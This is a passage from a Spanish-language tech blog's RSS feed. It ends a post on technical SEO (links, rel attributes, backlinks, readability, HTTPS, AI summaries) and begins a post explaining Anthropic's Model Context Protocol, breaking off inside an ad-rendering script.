etiqueta &lt;em&gt;time&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;aside&lt;/em&gt;: Contenido relacionado tangencialmente con el contenido principal.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;header&lt;/em&gt;: Contenido de introducción o que ayuda a la navegación para una sección/página.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;progress&lt;/em&gt;: Muestra el progreso de finalización de una tarea.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;meter&lt;/em&gt;: Representa una medida escalar dentro de un rango conocido.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;cite&lt;/em&gt;: Cita o referencia a una obra de caracter creativo (por ejemplo, libro, artículo).&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;q&lt;/em&gt;: Cita corta en línea (el navegador suele añadir comillas).&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;pre&lt;/em&gt;: Texto preformateado, que conserva los espacios en blanco y los saltos de línea, ideal para código.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;kbd&lt;/em&gt;: Entrada de teclado, indicando las teclas introducidas por el usuario.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;samp&lt;/em&gt;: Ejemplo de salida de un programa o sistema informático.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;dfn&lt;/em&gt;: Definición de un término (a menudo en cursiva).&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;output&lt;/em&gt;: El resultado de un cálculo o de una acción del usuario.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;abbr&lt;/em&gt;: Abreviatura o acrónimo, opcionalmente con un título para que se expanda.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;presencia-de-enlaces-internos&#34;&gt;Presencia de enlaces internos&lt;/h3&gt;&#xA;&lt;p&gt;Le ayudan a los motores de búsqueda a entender como se relacionan tus páginas entre sí. Asegúrate que tus enlaces sean válidos y no devuelvan errores 404, además de que el texto que enlace esté relacionado con el contenido de la página enlazada.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;✅ &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/how-to-code-clean-code&amp;#34;&lt;/span&gt;&amp;gt;How to code clean code&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;✅ &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/how-to-code-clean-code&amp;#34;&lt;/span&gt;&amp;gt;Learn how to code clean code&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;❌ &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/how-to-code-clean-code&amp;#34;&lt;/span&gt;&amp;gt;Click here to read my new entry&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;presencia-de-enlaces-externos&#34;&gt;Presencia de enlaces externos&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Enlaces externos, consideralo como un voto a favor hacia otros sitios web para indicarle a los motores de búsqueda que el contenido que enlazas es importante, investiga a fondo sobre los atributos &lt;em&gt;nofollow&lt;/em&gt;, &lt;em&gt;follow&lt;/em&gt;, &lt;em&gt;ugc&lt;/em&gt; y &lt;em&gt;sponsored&lt;/em&gt; en las etiquetas anchor y úsalos adecuadamente de acuerdo a tus intenciones.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;follow&lt;/em&gt;, es el valor por defecto, le indica a los motores de búsqueda que el sitio al que enlazan debe ser valorado positivamente.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;nofollow&lt;/em&gt;, los motores de búsqueda no deberían seguir este enlace, ideal para enlaces publicitarios, de afiliados o sitios web que quieres enlazar pero que no quieres que se relacionen con el tuyo.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;ugc&lt;/em&gt;, siglas de &lt;em&gt;User generated content&lt;/em&gt;, ideal para redes sociales.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;sponsored&lt;/em&gt;, enlace patrocinado, generalmente publicidad o enlaces de afiliados.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://example.org/&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;rel&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;nofollow&amp;#34;&lt;/span&gt;&amp;gt;The example website&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;href&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://user-website.com&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;rel&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ugc&amp;#34;&lt;/span&gt;&amp;gt;Just check my website&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;como-conseguir-backlinks-para-seo&#34;&gt;¿Cómo conseguir backlinks para SEO?&lt;/h4&gt;&#xA;&lt;p&gt;Esta es la parte difícil. Algunos te dirán algo como &amp;ldquo;Simplemente crea contenido que valga la pena compartir&amp;rdquo;, pero la mayoría no quiere esperar; deciden acelerar el proceso y conseguir más backlinks.&lt;/p&gt;&#xA;&lt;p&gt;Además, no todos los backlinks se crean de la misma manera; los enlaces que provienen de sitios web con buena reputación tienen más peso que los que tienen menos autoridad, lo que crea una dinámica perjudicial.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Los grandes sitios web saben que un solo backlink puede mejorar el posicionamiento de su sitio, por lo que no suelen ofrecerlos gratis, y algunos escritores en estas empresas piden una compensación económica por colocar un backlink en un artículo.&lt;/p&gt;&#xA;&lt;p&gt;Los sitios donde se ofrecen estos servicios son un &lt;em&gt;secreto a voces&lt;/em&gt;, a pesar de ir en contra de las políticas de Google.&lt;/p&gt;&#xA;&lt;p&gt;Otras alternativas menos cuestionables incluyen la publicación como invitado, publicar en foros y blogs, escanear sitios web y ofrecer tus enlaces en lugar de enlaces que muestran un estado HTTP 404, así como crear banners o herramientas que la gente quiera compartir.&lt;/p&gt;&#xA;&lt;h3 id=&#34;el-test-de-flesch-kincaid&#34;&gt;El test de Flesch Kincaid&lt;/h3&gt;&#xA;&lt;p&gt;Es un test basado que sirve para estimar el nivel de educación requerido por un hipotético lector, para comprender el contenido de tu sitio web, &lt;del&gt;a diferencia de lo que tu inflado ego piensa&lt;/del&gt;, entre más alto el puntaje sera más sencillo de entender, lo cual es mejor pues estará al alcance de más lectores.&lt;/p&gt;&#xA;&lt;p&gt;Dicho lo anterior, me atrevería a decir que el valor exacto no importa tanto, sino que tu texto sea de fácil lectura y el lector fluya a través de él.&lt;/p&gt;&#xA;&lt;p&gt;Ten presente que hay algunos plugins, como Yoast SEO si usas Wordpress, que se encargan de medirlo o puedes programarlo tú mismo.&lt;/p&gt;&#xA;&lt;p&gt;He dejado algunos aspectos que no considero tan importante, pero que quizás agregue más adelante, lo importante aquí es que entiendas que no solo es montar un sitio web y ya, sino que hay que pulirlo para que los usuarios puedan encontrarlo y usarlo.&lt;/p&gt;&#xA;&lt;h3 id=&#34;https-en-lugar-de-http&#34;&gt;HTTPS en lugar de HTTP&lt;/h3&gt;&#xA;&lt;p&gt;Es bastante extraño encontrar sitios web modernos que no utilicen HTTPS, sobre todo cuando son las plataformas de hosting las que se encargan de configurar los servidores de manera automática. De cualquier forma asegúrate de que tu sitio web utilice HTTPS en lugar de solo HTTP, pues los motores de búsqueda favorecen las conexiones seguras.&lt;/p&gt;&#xA;&lt;p&gt;Y por ahora es todo, iré agregando más información al artículo si lo considero pertinente con el pasar de los días.&lt;/p&gt;&#xA;&lt;h2 id=&#34;technical-seo-en-la-era-de-la-ai&#34;&gt;Technical SEO en la era de la AI&lt;/h2&gt;&#xA;&lt;p&gt;Hay otro aspecto también muy importante, y esto es más una opinión que un hecho comprobado. Los AI summaries de Google han tenido un efecto bastante negativo en los sitios web independientes.&lt;/p&gt;&#xA;&lt;p&gt;Los usuarios ya no necesitan ingresar a un sitio web para obtener una respuesta, por lo que, en mi opinión, todos aquellos sitios cuyo único valor sea proporcionar respuestas simples se verán muy afectados.&lt;/p&gt;&#xA;&lt;p&gt;Puedes crear miles de páginas con SEO, inclusive estas pueden traerte un incremento de tráfico temporal, pero eventualmente Google leerá tu contenido y creará un resumen para aquellas keywords que el usuario está buscando.&lt;/p&gt;&#xA;&lt;h3 id=&#34;que-creo-que-pasara-con-el-seo-en-un-mundo-post-ai&#34;&gt;¿Qué creo que pasará con el SEO en un mundo post AI?&lt;/h3&gt;&#xA;&lt;p&gt;Lo anterior me deja pensando sobre si lo que es válido hoy será válido mañana. Quizás sitios web donde se expongan aspectos más subjetivos, opiniones y experiencias sean más valiosos  a nivel SEO en el futuro que los recopilatorios de información.&lt;/p&gt;&#xA;&lt;p&gt;Además he notado que la mayoría de los sitios web que crean landing pages y cosas sencillas, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/bolt-vs-lovable-vs-v0-vercel-comparando-resultados-y-mi-opinion/&#34;&gt;como lovable, vercel 0, Bolt&lt;/a&gt;&#xA;, etc. dejan de lado la mayoría de los aspectos relacionados con el SEO&lt;/p&gt;&#xA;&lt;p&gt;También creo que los sitios web transaccionales pueden olvidarse de los primeros pasos del embudo de ventas (pues la AI puede encargarse de eso) y centrarse en la transacción.&lt;/p&gt;&#xA;&lt;p&gt;Así mismo considero que el contenido de texto perderá valor pues se volverá un commodity creado por la AI (que mal por mi), pero sitios web interactivos o de video pueden verse favorecidos por el tráfico de internet.&lt;/p&gt;&#xA;&lt;p&gt;Ten en cuenta que son solo algunas ideas, nadie sabe lo que realmente sucederá.&lt;/p&gt;&#xA;&lt;p&gt;Solo espero que lo que suceda sea bueno para el futuro de la web.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Anteriormente te platiqué como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/seo/mis-errores-de-optimizacion-en-el-seo-tecnico-al-migrar-de-wordpress/&#34;&gt;cometí muchos errores en SEO&lt;/a&gt;&#xA; al migrar mi sitio web de Wordpress a Hugo, pues después de eso me puse a ver muchos videos sobre SEO, sobre todo de Romuald Fons, también me leí &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/4ilv4pc&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;The art of SEO&lt;/a&gt;&#xA; y he tratado de resumir todo lo que aprendí en una pequeña entrada. He decidido centrarme en el SEO técnico porque es el que entiendo, es menos subjetivo y, además, estoy más familiariazado. Por eso escribí esta entrada antes de que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt;burbuja de AI&lt;/a&gt;&#xA; estalle, llevándose al SEO con ella.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Te Explico El Model Context Protocol (MCP) Y Para Que Sirve</title>
      <link>https://coffeebytes.dev/es/artificial-intelligence/te-explico-el-model-context-protocol-mcp-y-para-que-sirve/</link>
      <pubDate>Mon, 31 Mar 2025 18:00:32 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/artificial-intelligence/te-explico-el-model-context-protocol-mcp-y-para-que-sirve/</guid>
      
      <category>artificial intelligence</category>
      
      <category>software architecture</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Si tienes dificultades para comprender el Protocolo de Contexto Modelo, te entiendo, vi muchos videos al respecto, pero no pude entenderlo, así que tomé mis notas al respecto y las convertí en una publicación para que puedas entenderlo sin esfuerzo. También escribí un post donde explico &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/como-crear-un-mcp-server-y-mcp-tools-desde-cero/&#34;&gt;como crear un MCP server y MCP tools desde cero&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;por-que-se-creo-el-model-context-protocol&#34;&gt;¿Por qué se creó el Model Context Protocol?&lt;/h2&gt;&#xA;&lt;p&gt;Uno de los usos más útiles de los LLM es consultarles sobre nuestros propios datos, para eso hay varias opciones, tales como realizar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/fine-tuning-de-un-llm-guia-practica-con-recursos/&#34;&gt;fine-tuning de un LLM&lt;/a&gt;&#xA; o RAG o pasárselos como contexto en la petición. ¿De dónde viene ese contexto? Pues prácticamente de cualquier lado, Github, una base de datos, tu sistema de archivos, una API (&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/apis-de-alto-rendimiento-go-lang-grpc-y-protobuffers/&#34;&gt;tipo gPRC&lt;/a&gt;&#xA;, REST u otras), básicamente cualquier fuente que pueda retornar información.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745694716/coffee-bytes/modex-context-protocol-basic-summary_jy2nct.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745694716/coffee-bytes/modex-context-protocol-basic-summary_jy2nct.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Ejemplo de uso de MCP, el usuario pide el contenido de sus propios ficheros, LLM los lee y responde&#34; width=&#34;1780&#34; height=&#34;621&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Los integrantes de Anthropic proponen estandarizar este proceso y crear un protocolo para dotar de contexto, e interaccionar con el exterior, a los LLM. Este protocolo, de nombre Model Context Protocol, se vende como la siguiente revolución de AI, ¿será &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt;esta otra burbuja de AI&lt;/a&gt;&#xA; o una afirmación completamente fiel a la realidad? El &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/el-nuevo-dios-el-delirante-culto-a-la-ai-en-redes/&#34;&gt;delirante culto a la IA en redes sociales&lt;/a&gt;&#xA; te haría creer lo segundo.&lt;/p&gt;&#xA;&lt;p&gt;Actualización: El MCP se convirtió en un estándar y ahora se utilizan de manera cotidiana en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/mi-experiencia-usando-n8n-y-mi-opinion/&#34;&gt;herramientas de automatización que usan LLMs, tal como n8n.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;MCP existe para servir como un puente entre un LLM y la información relacionada al contexto, esto de una forma estandarizada y agnóstica. Aquí la palabra clave es &amp;ldquo;estandarización&amp;rdquo;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;como-funciona-el-model-context-protocol-o-mcp&#34;&gt;¿Cómo funciona el Model Context Protocol o MCP?&lt;/h2&gt;&#xA;&lt;p&gt;El MCP se ajusta a una arquitectura de cliente-servidor.&lt;/p&gt;&#xA;&lt;h3 id=&#34;rol-del-cliente-en-el-mcp&#34;&gt;Rol del cliente en el MCP&lt;/h3&gt;&#xA;&lt;p&gt;Un cliente que implemente el Model Context Protocol puede conectarse a un LLM y a una serie de servicios o servers MCP que le proveeran de la información de contexto que necesita.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1743559566/coffee-bytes/screenshot-claude-ai-ui_xdtpmk.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1743559566/coffee-bytes/screenshot-claude-ai-ui_xdtpmk.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Un potencial cliente MCP&#34; width=&#34;912&#34; height=&#34;512&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Un potencial cliente MCP&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;El cliente representa la interfaz de usuario a la que nosotros le pasaremos nuestros prompts, esta interfaz puede ser Claude Desktop o alguna otra opción.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;architecture-beta&#xA;    group api(logos:anthropic-icon)[MCP]&#xA;&#xA;    service llm(logos:serverless)[LLM] in api&#xA;    service whatsapp(logos:whatsapp-icon)[MCP server Whatsapp] in api&#xA;    service mcp(logos:anthropic-icon)[MCP Client] in api&#xA;    service telegram(logos:telegram)[MCP server Telegram] in api&#xA;    service github(logos:github-icon)[MCP server Github] in api&#xA;    junction junctionCenter&#xA;&#xA;    llm:L &lt;--&gt; R:mcp&#xA;    mcp:L &lt;-- R:junctionCenter&#xA;    whatsapp:B &lt;-- T:junctionCenter&#xA;    telegram:T &lt;-- B:junctionCenter&#xA;    github:R &lt;-- L:junctionCenter&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;h3 id=&#34;rol-de-un-server-en-el-mcp&#34;&gt;Rol de un server en el MCP&lt;/h3&gt;&#xA;&lt;p&gt;Un server se encargará de leer información, ya sea un archivo, una base de datos, un servicio web (por medio de una API) o cualquier otro origen que sea accesible. Para hacerlo echará de mano de ciertos recursos o herramientas previamente predefinidos, que restringen lo que el cliente puede o no puede leer o hacer.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;architecture-beta&#xA;    group api(logos:anthropic-icon)[MCP]&#xA;&#xA;    service server(server)[Whatsapp Server] in api&#xA;    service whatsapp(logos:whatsapp-icon)[MCP Whatsapp] in api&#xA;&#xA;&#xA;    server:L &lt;--&gt; R:whatsapp&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;h4 id=&#34;como-sabe-el-mcp-que-puede-leer-o-hacer-de-un-server&#34;&gt;¿Cómo sabe el MCP qué puede leer o hacer de un server?&lt;/h4&gt;&#xA;&lt;p&gt;Para saber que recursos puede leer o modificar un servicio o server, estos implementan una funcionalidad similar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-con-reflect-descubre-como-la-reflexion-puede-impulsar-la-flexibilidad-de-tu-programa/&#34;&gt;´ Reflect en Go y GraphQL&lt;/a&gt;&#xA;, con la cual exponen información sobre ellos mismos.&lt;/p&gt;&#xA;&lt;p&gt;Por ejemplo en el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/modelcontextprotocol/servers/tree/main/src/github&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;repositorio de Github del MCP&lt;/a&gt;&#xA; vemos la lista de acciones que se pueden llevar a cabo, así como los inputs requeridos para ello.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1743551599/coffee-bytes/github-mcp-screenshot-list_ad1rel.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1743551599/coffee-bytes/github-mcp-screenshot-list_ad1rel.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;&amp;#34;Captura de pantalla de las acciones disponibles de un server MCP de Github&amp;#34;&#34; width=&#34;764&#34; height=&#34;733&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Captura de pantalla de las acciones disponibles de un server MCP de Github&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Internamente no hay nada mágico, los servicios interactuan con los servidores o fuentes de información por medio de sus respectivas APIs. Observa el código que lleva a cabo la acción listCommits que aparece en la imagen de arriba.&lt;/p&gt;&#xA;&lt;p&gt;Aprecia como hay una validación inicial usando la conocida librería &lt;em&gt;Zod&lt;/em&gt;, pero al final existe una llamada a una función para realizar una petición a una URL de Github.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Mi recomendación es este pequeño libro de cien páginas sobre Machine Learning, trata de las bases del Machine Learning y todas las matemáticas necesarias para entender cómo se entrenan los modelos de IA. No te dejes engañar por su tamaño, es denso y un poco complicado. ¿Y por qué tan corto? El libro es tan corto porque deja de lado todo el relleno y se queda sólo con las partes cruciales del Machine Learning. Una advertencia, contiene muchas ecuaciones y no tiene exactamente cien páginas, sino un poco más.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro de cien páginas sobre Machine Learning\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103780/hundred-page-machine-learning-book_ueonkh.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3D3oMvN\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de The Hundred-Page Machine Learning y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;En dónde aprender las bases de AI y Machine Learning\&#34;},{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; 